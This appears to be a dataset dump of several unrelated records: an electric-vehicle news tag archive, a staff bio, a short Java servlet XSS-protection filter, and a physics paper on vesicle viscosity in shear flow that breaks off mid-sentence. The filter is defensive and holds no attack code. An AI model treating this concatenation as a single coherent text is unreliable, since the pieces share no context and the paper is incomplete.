text stringlengths 14 5.77M | meta dict | __index_level_0__ int64 0 9.97k ⌀ |
|---|---|---|
Tag Archive for: electric vehicle
With seven new products spanning home, fleet, multifamily and retail charging, Blink is providing the industry's only complete, end-to-end solution for the EV ecosystem and addressing critical EV charging infrastructure needs. Blink Charging…
Enterprising Black women disrupt the electric vehicle industry
Over the past decade, the electric vehicle ownership trends have remained relatively the same. In a study conducted by Fuels Institute in 2019, it was found that middle-aged white men were the top demographic in EV ownership. The National Center…
Rivian Waypoint Chargers unveiled at Radnor Lake State Park
Radnor Lake State Park, the location of the new Rivian Waypoint charging stations October 1, 2021 marked the opening of the first two Rivian Waypoint electric vehicle charging stations in a Tennessee State Park. A group photo of those…
TN State Parks, Rivian partner on electric vehicle charging stations
NASHVILLE – The Tennessee Department of Environment and Conservation (TDEC) announced it is partnering with electric vehicle (EV) automaker and automotive technology company Rivian to install Rivian Waypoint EV charging stations at Tennessee…
EV Charging Warrior: A Q&A with Kira Costanza
Kira Costanza, Energy Solutions Manager of EV Charging and LED Lighting for Cape Electrical Supply, has worked to build the electric vehicle charging market for Cape Electric from the ground up and is fortunate to be a ChargePoint partner.…
DriveElectricTN Specialty License Plates are Coming! Learn more and Register Today!
Give us feedback on our top 8 speciality license plate designs! Survey: Here Interested in registering for a license plate before the design is finished? Register: Here Our team is in the process of designing a DriveElectricTN…
Tennessee Strong: Four DET EV Statewide "Driving EV Leadership" Educational Conferences Planned for 2021
(L:R) Virginia Salazar Buda, DriveElectricTN (DET) Coordinator, Jan Compton, Tennessee Department of Environment and Conservation (TDEC) Regional Director of External Affairs (Johnson City Field Office) and TDEC Commissioner David Salyers, P.E. One…
Awareness, Tennessee EV Stories
Young and Hopeful: A Q&A with 14-year-old Noah Mills
Noah Mills, a 14-year-old electric vehicle (EV) supporter, has a clear vision about the importance of EVs. So much so that he is already investing. Noah Mills is 14 years old and is rather fond of EVs as he is of his five animals including…
The Tesla Couple: A Q&A with Susan and Jack Goodwin
Susan and Jack Goodwin personally own two Tesla Model 3 vehicles and have loved every minute of it. This is their EV story. Q: What kind of electric vehicle do you drive? A: "We have two 2018 Tesla Model 3s. Susan's drives the Red…
Ford for Fleets: F-150 Lightning, E-Transit & Blue Oval City
Have you heard about Ford's huge investment in Tennessee? We are talking billions with a "B"! Join DriveElectricTN and Ford representatives James Morgan and Nathan Gyori to discuss what are likely to be the most widely sought-after ELECTRIC… | {
"redpajama_set_name": "RedPajamaCommonCrawl"
} | 7,807 |
Hillary joined the ILRC as Controller in November 2017. Prior to joining the ILRC, she served as a controller for several public and private companies where she directed, approved and oversaw all accounting and finance functions. She has over 10 years of financial reporting and financial analysis experience. She has worked in various industries including non-profit organizations, investment fund management companies, a venture capital corporation and agricultural corporations. She moved from South Korea to Vancouver, Canada where she received her Bachelor's degree in Commerce from Thompson Rivers University as well as her Chartered Professional Accountant, Certified Management Accountant certification from the Chartered Professional Accountants of British Columbia. She recently emigrated to the Bay Area where she enjoys the weather and discovering new restaurants. In her free time, she loves to explore new restaurants and watch movies. | {
"redpajama_set_name": "RedPajamaC4"
} | 5,130 |
package com.djn.perfect.ssmnormal.filter;
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
/**
*
* @ClassName XSSFilter
* @Description 防止XSS攻击
* @author 聂冬佳
* @date 2018年5月16日 下午4:19:39
*
*/
public class XSSFilter implements Filter {
FilterConfig filterConfig = null;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
this.filterConfig = filterConfig;
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
chain.doFilter(new XSSHttpServletRequestWrapper(
(HttpServletRequest) request), response);
}
@Override
public void destroy() {
this.filterConfig = null;
}
}
| {
"redpajama_set_name": "RedPajamaGithub"
} | 107 |
\section{Introduction}
Suspensions of soft particles such as droplets, vesicles, and capsules
are ubiquitous in
relevant applications in biology, medicine, and engineering.
Studying their dynamics in flow is challenging, since
shapes are not fixed, as in the case of rigid objects,
but depend dynamically on the interplay between fluid stresses and interfacial
forces. The interfacial forces are directly related to the
nature of the considered particles:
The surface tension for droplets, the membrane bending
rigidity for vesicles, and additionally the membrane shear elasticity for
capsules. This calls for separate investigations of the various
systems.
Vesicles are small volumes of fluid embedded in a lipid bi-layer
membrane, in solution with either the same or different fluid.
The dynamical and rheological properties of their suspensions
in flow have attracted a lot of theoretical and experimental
interest, as
comprehensively reviewed in
Refs.~\cite{vlah09,abre14,wink14,bies16}.
A consensus has been reached concerning the dynamical regimes
in shear flow. In dilute solution, vesicles can
show tank-treading (TT), tumbling (TU), and vacillating-breathing (VB)
(also called trembling or swinging) motion, depending on the shear rate
and the viscosity contrast $\lambda=\eta_{out}/\eta_{in}$,
where $\eta_{in}$ and $\eta_{out}$ are the viscosities
of the inner and outer fluids, respectively.
TT and TU occur at low and high $\lambda$, respectively,
while VB appears for strong flows when vesicle deformation
affects its dynamics \cite{kell82,nogu04,nogu05,kant05,kant06,
misb06,nogu07bis,lebe07,vlah07,mess09,zhao11}.
On the other hand,
the rheology of single vesicle suspensions is still a matter of debate.
Indeed,
different behaviors of the intrinsic viscosity
$\eta_I=(\eta - \eta_{out})/(\eta_{out} \phi)$, where
$\eta$ is the effective system viscosity and $\phi$
the vesicle concentration,
as a function of the viscosity
contrast have been observed in experimental, theoretical,
and numerical studies.
In the case of very dilute suspensions of quasi-spherical vesicles,
it was shown analytically \cite{dank07a,dank07b}
that the intrinsic viscosity decreases with the viscosity contrast $\lambda$
in the TT regime, reaching a minimum at the TT-to-TU transition,
and then grows with $\lambda$ in the TU regime.
Experimental investigations do not provide conclusive results. A good agreement
with the theoretical prediction was found in Ref.~\cite{vitk08},
while an increase of $\eta_I$ with $\lambda$ for $\lambda < 1$ was observed
in Ref.~\cite{kant08}. These discrepancies might be due to the difficulty
in preparing monodisperse suspensions as well as to the fact that
viscosity measurements require volume fractions $\phi \sim 5\% - 10\%$, thus
making the extrapolation to the dilute limit difficult \cite{kant08}.
Numerical models differ mainly in the lack or presence of thermal noise.
In the former case, it was found in two-dimensional models that the
intrinsic viscosity follows the theoretical prediction
both in the very dilute \cite{ghig10,kaou14,nait19} and in the dilute
case \cite{rahi10,thie13,kaou14}. A similar dependence on the viscosity contrast
was found also in a three-dimensional model \cite{zhao13}.
The only available numerical model with thermal fluctuations
\cite{lamu13} shows that $\eta_I$ is an increasing function of $\lambda$,
in agreement with the experiments of Ref.~\cite{kant08}.
The numerical model of Ref.~\cite{lamu13},
which comprises both thermal membrane
undulations and thermal noise \cite{lamu13},
is adopted here to perform a detailed study of a confined vesicle
in shear flow
at finite temperature. The results of
this model yielded very good agreement with experimental results
in describing the collision process of two vesicles \cite{kant08}
and the flow field of a single vesicle
in shear flow \cite{afik16}.
The system is studied in two dimensions
at fixed shear rate in a wide range of the Peclet number
$Pe$ -
the ratio of the shear rate to the rotational diffusion coefficient -,
differently
from other theoretical and numerical studies where $Pe=\infty$.
We aim at elucidating the role
played by thermal fluctuations in influencing both the vesicle dynamics and,
consequently,
the system viscosity in the TT and TU regimes.
The reason of considering a very dilute solution is
twofold. On one hand this allows the matching with the hypothesis
of extremely dilute suspension used in the theoretical model
\cite{dank07a,dank07b}, and, on the other hand,
hydrodynamic and steric interactions between vesicles can be ruled out.
The paper is organized as follows. Section 2 presents the numerical model.
Results are illustrated in Section 3. A detailed discussion of our findings
about the effects of thermal noise is presented in Section 4, including
a comparison with previous studies. Finally, conclusions are presented in Section 5.
\section{The model}
A two-dimensional fluid made of
$N_s$ point-like particles of mass $m$ is considered.
The particle positions ${\bf r}_i(t)$ and
velocities ${\bf v}_i(t)$, $i=1,2,...,N_s$, at time $t$
are continuous variables. We employ the multi-particle collisions (MPC)
dynamics approach, in which
the time evolution occurs via iterative propagations and collisions
\cite{male99,male00,kapr08,gomp09}.
In the first streaming step, particles are ballistically
streamed for a time interval $\Delta t_s$
\begin{equation}
{\bf r}_i(t+\Delta t_s)
={\bf r}_i(t)+{\bf v}_i(t) \Delta t_s \;\;\;\;\; i=1,...,N_s .
\label{eq.prop}
\end{equation}
In the subsequent collision step, the system is divided into square cells
of mesh size $a$ where an
instantaneous multi-particle collision occurs, which changes
particle velocities as
\begin{equation}
{\bf v}_i^{new}={\bf v}_c^G + {\bf v}_i^{ran}
- \sum_{j \in cell} {\bf v}_j^{ran} / N_c
+ {\bf \Pi}^{-1} \sum_{j \in cell} m \left [ {\bf r}_{j,c} \times
({\bf v}_j - {\bf v}_j^{ran}) \right ] \times {\bf r}_{i,c} \;\;\;\;\; i=1,...,N_s
\label{eq.coll}
\end{equation}
where ${\bf v}_c^G$ is the center-of-mass velocity of all particles
in the cell, ${\bf v}_i^{ran}$ is a velocity taken from a Maxwell-Boltzmann
distribution, $N_c$ is the number of particles in the cell, ${\bf \Pi}$
and ${\bf r}_{i,c}$ are the
moment-of-inertia tensor and
the position relative to the center of mass of the particles in the cell,
respectively.
This dynamics conserves
both local linear and angular momentum \cite{nogu07,goetze07} and keeps
the temperature constant \cite{alla02}.
The viscosity of the fluid is given by \cite{nogu08}
\begin{equation}
\eta=\frac{m}{\Delta t_s}
\Big [ \Big ( \frac{l}{a} \Big )^2 \Big ( \frac{n^2}{n-1}
-\frac{n}{2}\Big )
+ \frac{1}{24} \Big (n - \frac{7}{5} \Big ) \Big ]
\label{visc}
\end{equation}
$n$ being the average number of particles per cell,
$l=\Delta t_s \sqrt{k_B T /m}$ the mean-free path,
and $k_B T$ the thermal energy.
The system of size $L_x \times L_y$ is confined
between two
horizontal walls sliding
along the $x$ direction
with velocities $v_{wall}$ and $-v_{wall}$.
Periodic boundary conditions (BC)
are used along the $x$ direction.
Bounce-back BC are enforced at walls \cite{lamu01}
obtaining a linear flow profile $(u_x, u_y)=(\dot\gamma y, 0)$ with shear
rate $\dot\gamma= 2 v_{wall} / L_y$.
The vesicle membrane
is modeled as a chain of $N_p$ beads of mass $m_p$ connected
to form a closed ring with average bond length $r_0$.
Neighboring beads interact via an harmonic potential
\begin{equation}
U_{bond}=\kappa_h \sum_{i=1}^{N_p}
\frac{(|{\bf r}_i-{\bf r}_{i-1}|-r_0)^2}{2 r_0^2}
\end{equation}
where $\kappa_h$ is the spring constant and ${\bf r}_i$ is the position vector
of the $i$-th bead. This ensures the conservation of the membrane length.
Shapes and fluctutions are controlled by the bending potential
\begin{equation}
U_{bend}=\frac{\kappa}{r_0} \sum_{i=1}^{N_p} (1-\cos \beta_{i}) ,
\label{bend}
\end{equation}
where $\kappa$ is the bending rigidity and $\beta_{i}$
is the angle between two consecutive bonds.
Finally, the internal area $S$
is kept close
to the target area $S_0$ of the
vesicle by using a quadratic constraint-potential with compression modulus
$\kappa_S$ \cite{lamu13}
\begin{equation}
U_{area} = \kappa_S \frac{(S-S_0)^2}{2 r_0^4} .
\label{area_pot}
\end{equation}
Newton's equations of motions of beads are integrated by using
the velocity-Verlet algorithm with time step $\Delta t_p$ \cite{allen}.
In order to describe the coupling of solvent particles with the vesicle,
each bead is treated as a ``rough" hard disk having radius $r_v$
\cite{fink08,lamu13,lamu15}.
The value of $r_v$ is set so that disks overlap obtaining
a full covering up of the membrane.
Scattering takes place when a solvent particle $i$ and a disk $j$
overlap while moving towards each other so that both the conditions
$|{\bf r}_j-{\bf r}_i| < r_v$ and
$ ({\bf r}_j-{\bf r}_i) \cdot ({\bf v}_j-{\bf v}_i) < 0$ are fulfilled.
A second disk $k=j \pm 1$, connected to the $j$-th one and characterized
by the smallest distance from the solvent particle $i$, is then selected.
The angular velocity
\begin{equation}
{\bf \Omega}
= {\bf \Pi}^{-1} \sum_{l=i,j,k} m_l {\bf r}_{l,c} \times {\bf v}_l
\end{equation}
and the center of mass velocity ${\bf v}^{G}$
of the $i,j,k$-particle system are computed,
${\bf r}_{l,c}$ being the position relative to the
center of mass. The updated values of the velocities are given by
\begin{equation}
{\bf v}_l^{new} = 2 ({\bf v}^{G} + {\bf \Omega} \times {\bf r}_{l,c})
- {\bf v}_l \;\;\;\;\; l=i,j,k
\label{eq.mix}
\end{equation}
which guarantees linear and angular momenta conservation \cite{mess09}.
The collision step (\ref{eq.coll}) is then performed for those fluid
particles which did not interact with the membrane in order to avoid
multiple collisions with the same membrane disk in the following iterations.
Disks interact with lateral walls also by implementing the bounce-back scattering. The numerical implementation of the algorithm is outlined in Appendix A.
Inertial effects, which are experimentally irrelevant due to the small
flow velocities, are made negligible in the simulations
by making the Reynolds number
$Re=\dot\gamma \rho R_0^2 / \eta_{out}$, with mass density
$\rho$, very small.
Other relevant dimensionless quantities
are the reduced area $S^*=S_0/\pi R_0^2$, where
$R_0=L_0/2 \pi$ is the vesicle radius with $L_0$ the vesicle contour
length, and the reduced
shear rate $\dot \gamma^*=\dot\gamma \tau_c$, where $\tau_c=\eta_{out} R_0^3/\kappa$
is the relaxation time of the vesicle.
The viscosity contrast can be approximated as
$\lambda \simeq m_{in}/m_{out}$ within the present model
\cite{nogu07} (the subscripts
$out/in$ will refer to quantities outside/inside vesicle).
We use in the following
$L_x=18.95 R_0$, $L_y=5.79 R_0$ with $R_0=7.6 a$.
Finally, we set
$m_{in}$ such as to obtain $0.1 \leq \lambda \leq 15.0$, $m_p=3 m_{out}$,
$\Delta t_s/\Delta t_p=64$, $N_p=480$, $r_v=r_0=a/10$,
$\kappa_S= 4 \times 10^{-4} k_B T$, $\kappa_h=3 \times 10^2 k_B T$.
The setting of parameters is such to have
$Re < 0.15$, Mach number $Ma=v_{wall}/c_s < 0.25$, where
$c_s=\sqrt{2 k_B T/m_{out}}$
is the speed of sound, to reduce compressibility effects
\cite{lamu02},
and $\dot\gamma^*=1.0$ in all the cases.
The value of the reduced shear rate $\dot\gamma^*$ is comparable to those
used in other studies \cite{ghig10,zhao13,thie13,kaou14} and allows
the access of the TT and TU regimes by varying the viscosity contrast.
The importance of thermal fluctuations depends on the
the rotational Peclet number $Pe=\dot\gamma/D_r$.
The rotational diffusion coefficient $D_r$ is given by $D_r=k_B T/\zeta$
and employing the rotational friction coefficient $\zeta$ of a circle,
the Peclet number
can be written as $Pe=4 \pi \dot\gamma^* \kappa/(k_B T R_0)$.
In the following the Peclet number will
be changed by considering the values $\kappa/(k_B T R_0)=6.58, 65.8, 164.5$,
corresponding to $Pe=82, 821, 2041$, respectively, keeping fixed the
value of $\dot\gamma^*$.
The present study focuses on the dynamics and rheology
of a sheared vesicle
at finite values of $Pe$. Indeed, in previous studies of
Refs.~\cite{ghig10,rahi10,zhao13,thie13,kaou14} it
was assumed $Pe=\infty$, thus neglecting the role of thermal
fluctuations.
\section{Results}
We consider very dilute
suspensions with a
single vesicle
for two values of the reduced area $S^*=0.80, 0.95$ corresponding effectively
to volume fractions $\phi=0.023, 0.028$, respectively.
In Figure~\ref{fig1}, the instantaneous intrinsic viscosity
$\eta_I$
is shown as a function of time for different values
of viscosity contrast $\lambda$, bending rigidity $\kappa$,
and reduced area $S^*$. The viscosity $\eta$ is computed
as $\eta=\sigma_{xy}/\dot\gamma$ where $\sigma_{xy}$ is the $xy$
component of the stress tensor at walls \cite{mewi12}.
In the MPC model the stress $\sigma_{xy}$ has a contribution in the streaming
step, $\sigma_{xy}^s$, proportional to the flux of the $x$-momentum crossing
the walls, and a second contribution in the collision step, $\sigma_{xy}^c$,
due to the multi-particle collision with virtual wall particles
(see Appendix A).
In two-dimensional simulations the streaming contribution is \cite{tao08}
\begin{equation}
\sigma_{xy}^s=\frac{m}{L_x \Delta t_s} \sum_{i=1}^{N_s}
[v'_{x,i}(t_b)-v_{x,i}(t_b)] ,
\end{equation}
where $t_b$ ($t \leq t_b \leq t+\Delta t_s$) is the time when particle $i$
bounces back from the wall, $v'_{x,i}(t_b)$ and $v_{x,i}(t_b)$ are the
velocities just after and before the collision with the wall, respectively,
and $N_s$
is the number of particles hitting one of the walls
in the time interval $[t,t+\Delta t_s]$.
The collision contribution is \cite{tao08}
\begin{equation}
\sigma_{xy}^c=\frac{m}{L_x \Delta t_s} \sum_{i=1}^{N_c}
[v'_{x,i}(t+\Delta t_s)-v_{x,i}(t+\Delta t_s)] ,
\end{equation}
where $N_c$ is the number of particles having multi-particle collision with
virtual wall particles, while $v'_{x,i}(t+\Delta t_s)$
and $v_{x,i}(t+\Delta t_s)$ are the velocities of particle $i$ after and before
the collision step, respectively.
After a
transient period, when the vesicle moves from the initial position towards
the center of the
channel attaining its steady state, $\eta_I$ fluctuates around
average values up to the longest simulated times, which are more than two
orders of magnitude
larger than the vesicle relaxation time $\tau_c$.
\begin{figure}[H]
\includegraphics*[width=.47\textwidth]{viscinst_080_50.eps}
\includegraphics*[width=.47\textwidth]{viscinst_080_500.eps}\\*
\includegraphics*[width=.47\textwidth]{viscinst_095_50.eps}
\includegraphics*[width=.47\textwidth]{viscinst_095_500.eps}
\caption{Time behavior of the intrinsic viscosity $\eta_I$ (values are averaged
over time intervals of duration $\sim 10 \tau_c$ to smooth out noise)
at $S^{*}=0.80$ (upper row) and
$S^{*}=0.95$ (lower row)
for $\kappa/(k_B T R_0)=6.58$ (left), $65.8$ (right)
with $\lambda=$ 1 (full green line),
7 (dashed blue line), 15 (dot-dashed red line).\label{fig1}}
\end{figure}
The values $\langle \eta_I \rangle$ of the intrinsic viscosity,
time-averaged in the
steady state, are reported in Figure~\ref{fig2} as
a function of $\lambda$.
It appears that $\langle \eta_I \rangle$ is an increasing function of $\lambda$ for
the used values of the reduced area, bending energy, and
temperature, in
agreement with our previous results \cite{lamu13,lamu15}.
In the Keller-Skalak theory \cite{kell82}, where thermal fluctuations are ignored,
the sharp TT-to-TU transition occurs at $\lambda_c \simeq 3.7$
for $S^{*}=0.80$ and at $\lambda_c \simeq 6.5$
for $S^{*}=0.95$. However, finite temperature broadens the
TT-to-TU transition \cite{mess09}.
In the TU regime at higher values of $\lambda$,
the growth of $\langle \eta_I \rangle$ is steeper.
A decrease of the intrinsic viscosity
in the TT regime followed by its growth in the TU regime, as
theoretically predicted in Refs.~\cite{dank07a,dank07b}
and observed in simulations
without thermal fluctuations \cite{ghig10,rahi10,zhao13,thie13,kaou14},
is not found in our model. The effect of increasing the bending energy
is to reduce the value of the intrinsic viscosity without changing
the monotonic dependence on the viscosity contrast.
This effect seems to be triggered by the Peclet number
as it will be later discussed.
\begin{figure}[H]
\includegraphics*[width=.47\textwidth]{visc_lambda_080.eps}
\includegraphics*[width=.47\textwidth]{visc_lambda_095.eps}
\caption{Average values of the intrinsic viscosity $\langle \eta_I \rangle$
as a function of $\lambda$
at $S^{*}=0.80$ (left) and
$S^{*}=0.95$ (right)
for $\kappa/(k_B T R_0)=6.58$ ($\bullet$), $65.8$ ($\blacktriangle$), $164.5$
($\star$). Full lines are guides to the eye.
The tank-treading to tumbling transition occurs at $\lambda_c \simeq 3.7$
for $S^{*}=0.80$ and at $\lambda_c \simeq 6.5$
for $S^{*}=0.95$ in the Keller-Skalak theory \cite{kell82} and is marked by the dashed
vertical lines. Error bars are given by the root-mean-square fluctuation
values of the intrinsic viscosity.
\label{fig2}}
\end{figure}
In order to clarify the observed behavior of $\langle \eta_I \rangle$,
the vesicle dynamics was investigated in more detail by monitoring
the temporal evolution of several
quantities. The inclination angle $\Theta$, describing
the angle between the $x$ direction
and the long main axis of the vesicle, can be used to discriminate
between the TT and the TU states. In the former case, $\Theta$
reaches a steady value, while in the latter case, $\Theta$ varies periodically
in time.
In Figure~\ref{fig3}, the inclination angle is shown as a function of time.
For low values of $\lambda$ the vesicle performs tank-treading motion
and the inclination angle fluctuates around a steady value.
In contrast, without thermal fluctuations
\cite{thie13,kaou14}
the inclination angle is constant in the TT regime after the initial transient.
When increasing the viscosity contrast, some tumbling events appear, which
become predominant for the highest value of $\lambda$.
\begin{figure}[H]
\includegraphics*[width=.47\textwidth]{tilt_080_50_new.eps}
\includegraphics*[width=.47\textwidth]{tilt_095_50_new.eps}
\caption{Time behavior of the inclination angle $\Theta$
at $S^{*}=0.80$ (left) and
$S^{*}=0.95$ (right)
for $\kappa/(k_B T R_0)=6.58$ with $\lambda=$ 1 (full green line),
7 (dashed blue line), 15 (dot-dashed red line).\label{fig3}}
\end{figure}
The time-averaged values $\langle \Theta \rangle$ are depicted
in Figure~\ref{fig4}, together with the root-mean-square (rms) fluctuation values
$\sigma_{\Theta}=\sqrt{\langle (\Delta \Theta)^2 \rangle}$.
The transition from the TT to the TU regime, which is characterized by
going from values
$\langle \Theta \rangle > 0$ to $\langle \Theta \rangle \simeq 0$,
is broader for the smallest values of the bending rigidity,
and gets sharper when increasing the ratio $\kappa/(k_B T R_0)$.
The fluctuations $\sigma_{\Theta}$ reduce with $Pe$ in the TT regime, as
theoretically predicted \cite{fink08},
and show an opposite trend with increasing
viscosity contrast.
\begin{figure}[H]
\includegraphics*[width=.47\textwidth]{tilt_lambda_080.eps}
\includegraphics*[width=.47\textwidth]{tilt_lambda_095.eps}
\caption{Average values of the inclination angle $\langle \Theta \rangle$
(filled symbols)
and its rms fluctuation values $\sigma_{\Theta}$
(empty symbols) as a function of $\lambda$
at $S^{*}=0.80$ (left) and
$S^{*}=0.95$ (right)
for $\kappa/(k_B T R_0)=6.58$ ($\bullet$), $65.8$ ($\blacktriangle$), $164.5$
($\star$). The tank-treading to tumbling transition
in the Keller-Skalak theory \cite{kell82} is marked by the dashed
vertical lines.\label{fig4}}
\end{figure}
From the gyration tensor of the vesicle, the two eigenvalues $\Lambda_M$
and $\Lambda_m$ with $\Lambda_M > \Lambda_m$ are extracted and the
asphericity $A=[(\Lambda_M - \Lambda_m)/(\Lambda_M + \Lambda_m)]^2$
is computed.
\begin{figure}[H]
\includegraphics*[width=.47\textwidth]{aspher_080_50.eps}
\includegraphics*[width=.47\textwidth]{aspher_095_50.eps}
\caption{Time behavior of the asphericity $A$ (values are sampled every
$10 \tau_c$) at $S^{*}=0.80$ (left) and
$S^{*}=0.95$ (right)
for $\kappa/(k_B T R_0)=6.58$ with $\lambda=$ 1 (full green line),
7 (dashed blue line), 15 (dot-dashed red line).\label{fig5}}
\end{figure}
The values of $A$ as a function of time are shown in Figure~\ref{fig5}
and the time-averages $\langle A \rangle$ as a function of the viscosity contrast
in Figure~\ref{fig6}.
\begin{figure}[H]
\includegraphics*[width=.47\textwidth]{aspher_lambda_080.eps}
\includegraphics*[width=.47\textwidth]{aspher_lambda_095.eps}
\caption{Average values of the asphericity $\langle A \rangle$
as a function of $\lambda$
at $S^{*}=0.80$ (left) and
$S^{*}=0.95$ (right)
for $\kappa/(k_B T R_0)=6.58$ ($\bullet$), $65.8$ ($\blacktriangle$), $164.5$
($\star$). The tank-treading to tumbling transition
in the Keller-Skalak theory \cite{kell82} is marked by the dashed
vertical lines. Error bars are given by the root-mean-square fluctuation
values of the asphericity.
\label{fig6}}
\end{figure}
$\langle A \rangle$ is constant in the TT regime and
decreases when approaching the TU regime,
showing that the vesicle becomes more rounded when the inner fluid
is more viscous. Also, $\langle A \rangle$ is smaller for the lower value
of bending rigidity
and does not change significantly going from TT to TU
regime for the highest value of the bending rigidity.
In the case of the quasi-circular vesicle a non-monotonic behavior
of $\langle A \rangle$ with the bending rigidity can be observed in
the TT regime.
The average values $\langle \sqrt{\Lambda_M} \rangle$ and
$\langle \sqrt{\Lambda_m} \rangle$, which
give an estimate of the vesicle semi-axes, are
plotted in Figure~\ref{fig7} as a function of the viscosity contrast to demonstrate
how the vesicle becomes more rounded when increasing $\lambda$
for fixed $\dot \gamma^*$.
\begin{figure}[H]
\includegraphics*[width=.5\textwidth]{gyr_lambda.eps}
\caption{Average values of the gyration tensor eigenvalues
$\langle \sqrt{\Lambda_M} \rangle$
(filled symbols) and $\langle \sqrt{\Lambda_m} \rangle$ (empty symbols)
as a function of $\lambda$
at $S^{*}=0.80$
for $\kappa/(k_B T R_0)=6.58$ ($\Box$), $65.8$ ($+$), and
at $S^{*}=0.95$
for $\kappa/(k_B T R_0)=6.58$ ($\bullet$), $65.8$ ($\blacktriangle$), $164.5$
($\star$). The tank-treading to tumbling transition
in the Keller-Skalak theory \cite{kell82} is marked by the
dashed ($S^{*}=0.80$) and full ($S^{*}=0.95$)
vertical lines.\label{fig7}
}
\end{figure}
It can be seen that $\langle \sqrt{\Lambda_M} \rangle$ decreases and
$\langle \sqrt{\Lambda_m} \rangle$
increases as functions of $\lambda$. The relative change of the average
eigenvalues, going from
the TT to the TU regime, is larger at $\kappa/(k_B T R_0)=65.8$ while
it is negligible for the highest value of the bending rigidity.
The rms fluctuation values $\sigma_M=\sqrt{\langle (\Delta \sqrt{\Lambda_M})^2 \rangle}$
and $\sigma_m=\sqrt{\langle (\Delta \sqrt{\Lambda_m})^2 \rangle}$ are reported
in Figure~\ref{fig8} as functions of $\lambda$.
In all the cases the values of the rms fluctuations are constant in the TT
regime and increase when
entering the TU regime. Moreover, $\sigma_M$ and $\sigma_m$
decrease when increasing the Peclet number.
\begin{figure}[H]
\includegraphics*[width=.47\textwidth]{gyr_sigma_lambda_080.eps}
\includegraphics*[width=.47\textwidth]{gyr_sigma_lambda_095.eps}
\caption{Rms fluctuation values
$\sigma_M$
(filled symbols) and $\sigma_m$ (empty symbols)
of the the gyration tensor eigenvalues of Fig.~7
as a function of $\lambda$
at $S^{*}=0.80$ (left) and
$S^{*}=0.95$ (right)
for $\kappa/(k_B T R_0)=6.58$ ($\bullet$), $65.8$ ($\blacktriangle$), $164.5$
($\star$). The tank-treading to tumbling transition
in the Keller-Skalak theory \cite{kell82} is marked by the dashed
vertical lines.\label{fig8}}
\end{figure}
The time behavior of vertical position $y_{cm}$
of the vesicle center of mass displays Brownian diffusion across the
channel width up to the longest simulated time, see Figure~\ref{fig9}.
\begin{figure}[H]
\includegraphics*[width=.47\textwidth]{cm_080_50.eps}
\includegraphics*[width=.47\textwidth]{cm_095_50.eps}
\caption{Time behavior of the vertical position $y_{cm}$ of the vesicle center
of mass (values are sampled every
$10 \tau_c$) at $S^{*}=0.80$ (left) and
$S^{*}=0.95$ (right)
for $\kappa/(k_B T R_0)=6.58$
with $\lambda=$ 1 (full red line),
7 (dashed blue line), 15 (dot-dashed red line).
The horizontal full line denotes the center of the channel.\label{fig9}}
\end{figure}
The vesicle does not span the whole channel cross-section due to the lift
force which pushes it far from the walls \cite{mess09}.
In previous studies
\cite{thie13,kaou14},
where thermal noise is absent, vesicles move along the center line
of the channel without lateral displacement
and with a regular arrangement in the TT
steady state, in two or three files at higher concentrations
\cite{thie14,shen17}. It was later found that
there is a critical viscosity contrast above which the vesicle
can be either placed along the center line or off-centered without lateral
wandering \cite{nait18}.
The rms fluctuation values
$\sigma_{cm}=\sqrt{\langle (\Delta y_{cm})^2 \rangle}$
are reported in Figure~\ref{fig10}. For the lowest values of the bending rigidity
it is evident that $\sigma_{cm}$ increases with the viscosity ratio
$\lambda$ due to the more circular shape,
while this trend is less pronounced for further increasing
$\kappa/(k_B T R_0)$.
\begin{figure}[H]
\includegraphics*[width=.47\textwidth]{cm_sigma_lambda_080.eps}
\includegraphics*[width=.47\textwidth]{cm_sigma_lambda_095.eps}
\caption{Rms fluctuation values $\sigma_{cm}$ of the vertical position
of the vesicle center of mass of Fig.~9
as a function of $\lambda$
at $S^{*}=0.80$ (left) and
$S^{*}=0.95$ (right)
for $\kappa/(k_B T R_0)=6.58$ ($\bullet$), $65.8$ ($\blacktriangle$), $164.5$
($\star$). The tank-treading to tumbling transition
in the Keller-Skalak theory \cite{kell82} is marked by the dashed
vertical lines.\label{fig10}}
\end{figure}
Moreover, a reduction in the values of $\sigma_{cm}$ can be appreciated when
increasing the bending rigidity with no significant dependence on the
reduced area $S^*$. In the TT regime it results to be
$\sigma_{cm}/R_0 \simeq \sqrt{(k_B T R_0)/\kappa} \propto \sqrt{1/Pe}$ for the explored range
of bending rigidities. The term $\sqrt{(k_B T R_0)/\kappa}$ is the rms
value of the vesicle deformation amplitude \cite{fink08}.
Finally,
the average configurations of the vesicle
are presented in Figure~\ref{fig11} for reduced area $S^*=0.80, 0.95$,
bending rigidity $\kappa/(k_B T R_0)=6.58, 65.8$, and
two values of the viscosity contrast.
\begin{figure}[H]
\includegraphics*[width=.47\textwidth]{config_average_080_casea.eps}
\includegraphics*[width=.47\textwidth]{config_average_080_caseb.eps}\\*
\includegraphics*[width=.47\textwidth]{config_average_095_casea.eps}
\includegraphics*[width=.47\textwidth]{config_average_095_caseb.eps}
\caption{Vesicle average configurations at
$S^{*}=0.80$ (upper row) and $S^{*}=0.95$ (lower row)
for $\kappa/(k_B T R_0)=6.58$ (left), $65.8$ (right)
with $\lambda= 1 (\bullet), 11 (\Box)$. The full line represents the unit
circle as a reference.\label{fig11}}
\end{figure}
The shapes are obtained by averaging in time and space, in the vesicle
eigenvector reference frame, the positions of membrane beads in circular sectors
of width $\pi/45$ radians.
This visualizes how
the vesicle becomes more rounded going from the TT to the TU regime
in the case with $\kappa/(k_B T R_0)=65.8$ at $S^*=0.95$.
The reduction of the asphericity is less
appreciable in the other cases.
\section{Discussion}
We can now relate
the observed behavior of the intrinsic viscosity
$\langle \eta_I \rangle$ in Fig.~2 to the
changes in vesicle shape and diffusion.
We think that
the monotonic growth of $\langle \eta_I \rangle$
is due to the interplay of several mechanisms.
As previously observed in Ref.~\cite{kant08},
shape fluctuations favor energy dissipation that increases $\langle \eta_I \rangle$,
while alignment with the flow direction causes a decrease of $\langle \eta_I \rangle$ with increasing
the viscosity contrast.
The vesicle becomes more rounded
with increasing $\lambda$ as
indicated by the average asphericity.
As a consequence
the vesicle experiences
a larger resistance to the flow with tilt angle approaching the
values $\pi/4$. This counteracts the reduction
due to the decrease of the average inclination angle
